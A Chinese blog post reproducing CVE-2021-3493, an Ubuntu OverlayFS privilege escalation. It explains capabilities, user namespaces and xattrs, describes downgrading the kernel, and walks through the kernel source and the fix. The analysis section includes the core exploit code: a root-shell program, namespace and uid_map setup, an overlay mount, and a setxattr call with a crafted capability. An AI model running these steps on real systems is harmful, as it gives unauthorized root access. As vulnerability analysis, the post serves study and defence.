CVE-2021-3493

Posted on Jul 20, 2021

我复现的第一个 CVE,[font color="#8470FF"]cheers![/font]

漏洞信息patchpwnwiki

Ubuntu 所特有的一个权限提升漏洞。

前置知识

capabilities

当普通用户需要做一些 root 权限下才能做的事情时,一种方法是用 sudo 提权,一种方法是使用 suid,比如 passwd 这个程序。但是 suid 给予程序的权限过高,比如 passwd 直接拥有了完整的 root 权限,这就导致一旦 passwd 出现了漏洞,攻击者就可以完全控制目标靶机。Linux 内核在 2.2 版本后引入了 capabilities 机制来切分 root 权限,使得每个线程和文件都可以拥有其需要的一部分 root 权限。

以文件为例,首先编译一个提权的程序

#include <stdio.h>
#include <unistd.h>
#include <stdint.h>

int main()
{
    setuid(0);
    setgid(0);
    execl("/bin/bash", "/bin/bash", NULL);
}

编译后直接执行

# chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:47:30] 
$ gcc magic.c -o magic

# chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:47:33] 
$ ./magic 
chuj@ubuntu:~/ctf/CVE-2021-3493$ id
uid=1000(chuj) gid=1000(chuj) groups=1000(chuj),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker)

以普通用户运行,自然是无法成功提权的。然后我们给他加上 CAP_SETUID 和 CAP_SETGID 这两个 capabilities,使用 setcap 即可

# chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:48:48] 
$ sudo setcap cap_setuid,cap_setgid=+eip ./magic
[sudo] password for chuj: 

# chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:49:10] 
$ ./magic 
root@ubuntu:~/ctf/CVE-2021-3493# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker),1000(chuj)

执行之后,发现成功提权。但是这里需要使用 root 权限才能设置 capabilities,而 CVE-2021-3493 就是利用了在 Ubuntu 下的一个不需要 root 权限就可以设置 capabilities 的漏洞实现的权限提升。

namespace

namespace 机制是 Linux 提供一个在内核级隔离资源的机制,目前提供了六种资源的隔离

  • Mount: 隔离文件系统挂载点
  • UTS: 隔离主机名和域名信息
  • IPC: 隔离进程间通信
  • PID: 隔离进程的ID
  • Network: 隔离网络资源
  • User: 隔离用户和用户组的ID

在此 CVE 中,主要利用了 User Namespace 来“伪造”root 用户绕过检测。在 User Namespace 中,使用到了 /proc/$pid/ 文件夹中的 uid_map 和 gid_map 这两个文件来进行 id 的映射,内容为三个数字:first-ns-id first-target-id count

  • first-ns-id:在新的 namespace 中被映射的 user id
  • first-target-id:被映射的 user id
  • count:表示映射的范围,为 1 表示只映射一个,大于1表示按顺序映射

我们建立新的名称空间时,把 first-ns-id 设置为 0,first-target-id 设置为原名称空间中进程的 id,这样就可以在新的名称空间中获得到 root 权限,但是此权限不超过在原名称空间中的权限。举个例子

建立这样一个新的名称空间

uid_t out_uid = getuid();
        gid_t out_gid = getgid();
  
        unshare(CLONE_NEWNS | CLONE_NEWUSER); // create a new namespace

        write_file("/proc/self/setgroups", "deny");

        char buf[0x100];
        sprintf(buf, "0 %d 1", out_uid);
        write_file("/proc/self/uid_map", buf);
  
        sprintf(buf, "0 %d 1", out_gid);
        write_file("/proc/self/gid_map", buf);

        execl("/bin/bash", "/bin/bash", NULL);

执行后

root@ubuntu:~/ctf/CVE-2021-3493# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
root@ubuntu:~/ctf/CVE-2021-3493# cd /root
bash: cd: /root: Permission denied

可以发现虽然 uid 是 0 了,但是仍然无法访问 root 的文件夹。

OverlayFS

可以参考深入理解overlayfs(一):初识,写的很详细

xattr

man page。xattr(文件拓展属性)是永久关联到文件和目录的键值,可以让文件系统支持在其原始设计中不支持的功能,使用 setxattr 可以设置拓展属性,getxattr 可以获得拓展属性。通过此函数也可以设置文件的 capabilities

环境准备

这个洞不是溢出之类的洞,所以 exp 应该不容易把内核搞 panic 掉,同时也没什么动调的必要,最重要的是我不知道为什么 qemu 起的虚拟机没法复现,所以就直接用宿主虚拟机了。

看了一下 Ubuntu 的漏洞信息页面,也没看出来具体是在什么时候修复的,Ubuntu 20.04 大概是在镜像版本为 5.8.0-50.56~20.04.1 时修复的,看了一下我的虚拟机

$ uname -a
Linux ubuntu 5.8.0-61-generic #68~20.04.1-Ubuntu SMP Wed Jun 30 10:32:39 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

版本还是比较高的,所以需要先降级,首先通过 grep menuentry /boot/grub/grub.cfg 来看一下当前能用的内核

$ grep menuentry /boot/grub/grub.cfg
if [ x"${feature_menuentry_id}" = xy ]; then
  menuentry_id_option="--id"
  menuentry_id_option=""
export menuentry_id_option
menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
submenu 'Advanced options for Ubuntu' $menuentry_id_option 'gnulinux-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
        menuentry 'Ubuntu, with Linux 5.8.0-61-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-61-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
        menuentry 'Ubuntu, with Linux 5.8.0-61-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-61-generic-recovery-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
        menuentry 'Ubuntu, with Linux 5.8.0-59-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-59-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
        menuentry 'Ubuntu, with Linux 5.8.0-59-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-59-generic-recovery-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
        menuentry 'Ubuntu, with Linux 5.8.0-43-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-43-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
        menuentry 'Ubuntu, with Linux 5.8.0-43-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-43-generic-recovery-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
menuentry 'Memory test (memtest86+)' {
menuentry 'Memory test (memtest86+, serial console 115200)' {

如果没有符合条件的内核,可以通过 apt 安装,执行 sudo apt search linux-image | grep 5.8.0 就可以出来一堆,随便找一个低版本的就可以了,比如我选择 linux-image-5.8.0-43-generic,那么如下操作

sudo apt install linux-headers-5.8.0-43-generic linux-image-5.8.0-43-generic

就可以安装上了。

然后修改一下 grub

sudo vim /etc/default/grub

修改其中的 GRUB_DEFAULT 项,在我的虚拟机中,该项默认值为 0,这里修改为

GRUB_DEFAULT="gnulinux-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902>gnulinux-5.8.0-43-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902"

这些信息通过 grep menuentry /boot/grub/grub.cfg 都可以找到,然后更新 grub 再重启就可以了

sudo update-grub
sudo reboot

漏洞分析

我们首先构造一个沙盒,在其中先提权到 root 权限,如下

mkdir("./exploit", 0777);
        mkdir("./exploit/upper", 0777);
        mkdir("./exploit/lower", 0777);
        mkdir("./exploit/work", 0777);
        mkdir("./exploit/merge", 0777);

        uid_t out_uid = getuid();
        gid_t out_gid = getgid();
  
        unshare(CLONE_NEWNS | CLONE_NEWUSER); // create a new namespace

        write_file("/proc/self/setgroups", "deny");

        char buf[0x100];
        sprintf(buf, "0 %d 1", out_uid);
        write_file("/proc/self/uid_map", buf);
  
        sprintf(buf, "0 %d 1", out_gid);
        write_file("/proc/self/gid_map", buf);

        mount("overlay", "./exploit/merge", "overlay", 0, \
        "lowerdir=./exploit/lower,upperdir=./exploit/upper,workdir=./exploit/work");

        char cap[] = \
        "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
        copy_file("/proc/self/exe", "./exploit/merge/get_root");
        setxattr("./exploit/merge/get_root", "security.capability", cap, sizeof(cap) - 1, 0);

这样我们就可以在新建立的 namespace 中获得 root 权限,并且挂载一个 overlayfs 到 ./exploit/merge 目录下。此时我们无法仍然无法执行超过原先普通用户权限的操作,但是在新的名称空间中,我们已经拥有了 root 权限。这个沙盒的示意图如下

然后我们在 ./exploit/merge 中创建一个会通过 setuid setgid 提权的程序,这里通过拷贝自身来实现。拷贝自身后的示意图为

而漏洞主要出现在 setxattr 函数的调用链中,在设置 xattr 时的权限检测不全面,导致了非 root 用户也可以设置文件的 capabilities。

setxattr 函数的实现为

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
	 size_t size, int flags)
{
	int error;
	void *kvalue = NULL;
	char kname[XATTR_NAME_MAX + 1];

	if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
		return -EINVAL;

	error = strncpy_from_user(kname, name, sizeof(kname));
	if (error == 0 || error == sizeof(kname))
		error = -ERANGE;
	if (error < 0)
		return error;

	if (size) {
		if (size > XATTR_SIZE_MAX)
			return -E2BIG;
		kvalue = kvmalloc(size, GFP_KERNEL);
		if (!kvalue)
			return -ENOMEM;
		if (copy_from_user(kvalue, value, size)) {
			error = -EFAULT;
			goto out;
		}
		if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
		    (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
			posix_acl_fix_xattr_from_user(kvalue, size);
		else if (strcmp(kname, XATTR_NAME_CAPS) == 0) {
			error = cap_convert_nscap(d, &kvalue, size);
			if (error < 0)
				goto out;
			size = error;
		}
	}

	error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
	kvfree(kvalue);

	return error;
}

我们利用时的调用将会是

setxattr("./exploit/merge/get_root", "security.capability", cap, sizeof(cap) - 1, 0);

所以在 28 行处的判断最后会进入 else if 中,执行 cap_convert_nscap 函数,这个函数的实现为

int cap_convert_nscap(struct dentry *dentry, void **ivalue, size_t size)
{
	struct vfs_ns_cap_data *nscap;
	uid_t nsrootid;
	const struct vfs_cap_data *cap = *ivalue;
	__u32 magic, nsmagic;
	struct inode *inode = d_backing_inode(dentry);
	struct user_namespace *task_ns = current_user_ns(),
		*fs_ns = inode->i_sb->s_user_ns;
	kuid_t rootid;
	size_t newsize;

	if (!*ivalue)
		return -EINVAL;
	if (!validheader(size, cap))
		return -EINVAL;
	if (!capable_wrt_inode_uidgid(inode, CAP_SETFCAP))
		return -EPERM;
	if (size == XATTR_CAPS_SZ_2)
		if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP))
			/* user is privileged, just write the v2 */
			return size;

	rootid = rootid_from_xattr(*ivalue, size, task_ns);
	if (!uid_valid(rootid))
		return -EINVAL;

	nsrootid = from_kuid(fs_ns, rootid);
	if (nsrootid == -1)
		return -EINVAL;

	newsize = sizeof(struct vfs_ns_cap_data);
	nscap = kmalloc(newsize, GFP_ATOMIC);
	if (!nscap)
		return -ENOMEM;
	nscap->rootid = cpu_to_le32(nsrootid);
	nsmagic = VFS_CAP_REVISION_3;
	magic = le32_to_cpu(cap->magic_etc);
	if (magic & VFS_CAP_FLAGS_EFFECTIVE)
		nsmagic |= VFS_CAP_FLAGS_EFFECTIVE;
	nscap->magic_etc = cpu_to_le32(nsmagic);
	memcpy(&nscap->data, &cap->data, sizeof(__le32) * 2 * VFS_CAP_U32);

	kvfree(*ivalue);
	*ivalue = nscap;
	return newsize;
}

注意 19 行处,我们提供的 cap 参数是满足这里的判断的,所以会执行 ns_capable,这个函数做的就是检测当前线程是否有足够的特权。实际调用的 ns_capable_common,实现为

static bool ns_capable_common(struct user_namespace *ns,
			      int cap,
			      unsigned int opts)
{
	int capable;

	if (unlikely(!cap_valid(cap))) {
		pr_crit("capable() called with invalid cap=%u\n", cap);
		BUG();
	}

	capable = security_capable(current_cred(), ns, cap, opts);
	if (capable == 0) {
		current->flags |= PF_SUPERPRIV;
		return true;
	}
	return false;
}

可见是通过 security_capable 这个函数来检测的,检测的就是当前线程在当前名称空间下的特权级是否有设置 cap 的权限。之前我们设置了 uid_map 和 gid_map,这个检测是可以通过的

if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP))
			/* user is privileged, just write the v2 */
			return size;

正如注释中所说,检测后说明用户权限足够,就把 cap 写到文件的 xattr 中,这是之后调用的 vfs_setxattr 做的事,该函数的实现如下

int
vfs_setxattr(struct dentry *dentry, const char *name, const void *value,
		size_t size, int flags)
{
	struct inode *inode = dentry->d_inode;
	struct inode *delegated_inode = NULL;
	int error;

retry_deleg:
	inode_lock(inode);
	error = __vfs_setxattr_locked(dentry, name, value, size, flags,
	    &delegated_inode);
	inode_unlock(inode);

	if (delegated_inode) {
		error = break_deleg_wait(&delegated_inode);
		if (!error)
			goto retry_deleg;
	}
	return error;
}
EXPORT_SYMBOL_GPL(vfs_setxattr);

一路调用下去会执行到

static const struct xattr_handler *
xattr_resolve_name(struct inode *inode, const char **name)
{
	const struct xattr_handler **handlers = inode->i_sb->s_xattr;
	const struct xattr_handler *handler;

	if (!(inode->i_opflags & IOP_XATTR)) {
		if (unlikely(is_bad_inode(inode)))
			return ERR_PTR(-EIO);
		return ERR_PTR(-EOPNOTSUPP);
	}
	for_each_xattr_handler(handlers, handler) {
		const char *n;

		n = strcmp_prefix(*name, xattr_prefix(handler));
		if (n) {
			if (!handler->prefix ^ !*n) {
				if (*n)
					continue;
				return ERR_PTR(-EINVAL);
			}
			*name = n;
			return handler;
		}
	}
	return ERR_PTR(-EOPNOTSUPP);
}

这个函数根据文件的类型计算出了 handler,我们在调用 setxattr 执行之前,设置了一个 overlayfs,并把它挂载到了 ./exploit/merge 中。而被设置 cap 的程序为 ./exploit/merge/get_root,他就属于 overlayfs 文件系统了,inode 标识的就是 overlayfs。对于 overlayfs 自然调用的就是 ovl_xattr_set 了。

int ovl_xattr_set(struct dentry *dentry, struct inode *inode, const char *name,
		  const void *value, size_t size, int flags)
{
	int err;
	struct dentry *upperdentry = ovl_i_dentry_upper(inode);
	struct dentry *realdentry = upperdentry ?: ovl_dentry_lower(dentry);
	const struct cred *old_cred;

	err = ovl_want_write(dentry);
	if (err)
		goto out;

	if (!value && !upperdentry) {
		old_cred = ovl_override_creds(dentry->d_sb);
		err = vfs_getxattr(&init_user_ns, realdentry, name, NULL, 0);
		revert_creds(old_cred);
		if (err < 0)
			goto out_drop_write;
	}

	if (!upperdentry) {
		err = ovl_copy_up(dentry);
		if (err)
			goto out_drop_write;

		realdentry = ovl_dentry_upper(dentry);
	}

	old_cred = ovl_override_creds(dentry->d_sb);
	if (value)
		err = vfs_setxattr(&init_user_ns, realdentry, name, value, size,
				   flags);
	else {
		WARN_ON(flags != XATTR_REPLACE);
		err = vfs_removexattr(&init_user_ns, realdentry, name);
	}
	revert_creds(old_cred);

	/* copy c/mtime */
	ovl_copyattr(d_inode(realdentry), inode);

out_drop_write:
	ovl_drop_write(dentry);
out:
	return err;
}

进入函数后,根据 overlayfs 文件系统的特性,我们可以推断出来,upperdentry 就是 ./exploit/upper/get_root,realdentry 也是。而 ./exploit/upper/get_root 就是 ext3 文件系统下的提权二进制文件。这个函数会执行到 30 中的 if 中,再次调用 vfs_setxattr,这一次就是向沙盒外的二进制文件写 cap 了。一路上没有特权级检查,成功把沙盒外的 cap 改写了,然后执行该二进制就可以提权了。

完整的 exp 可以参考 pwnwiki

修复

回想一下,一次正常的 setxattr 操作,特权级检查是在什么时候做的?

答:就是在 setxattr 函数做的。并且在 vfs_setxattr 中并没有做二次检查。

那么修复的方法就是把判断移到 vfs_setxattr 中

后记

这个漏洞是 Ubuntu 独有的,因为在 Linux 内核主线中,普通用户是不能创建 overlayfs 的,但是 Ubuntu 中给予了普通用户这个权限,所以才出现了这个漏洞。

总结一下漏洞的原理就是:构造沙盒后,在新的 namespace 中有 root 权限,并且 overlayfs 的 merge 目录中的所有文件都是属于新的 namespace 的,文件类型为 overlayfs 文件。给 overlayfs 的 merge 目录中的文件设置 capabilities 自然是合法的,而在对这些文件写时会影响到 upper 目录中的私有 ext3 文件,在这里没有进行完整的权限检查导致了 root 权限的沙盒逃逸。

参考

浅谈Linux Namespace机制(一)

Ubuntu内核OverlayFS权限逃逸漏洞分析(CVE-2021-3493)

深入理解overlayfs(一):初识

Linux Capabilities 入门:让普通进程获得 root 的洪荒之力

Ubuntu系统Linux内核升级、降级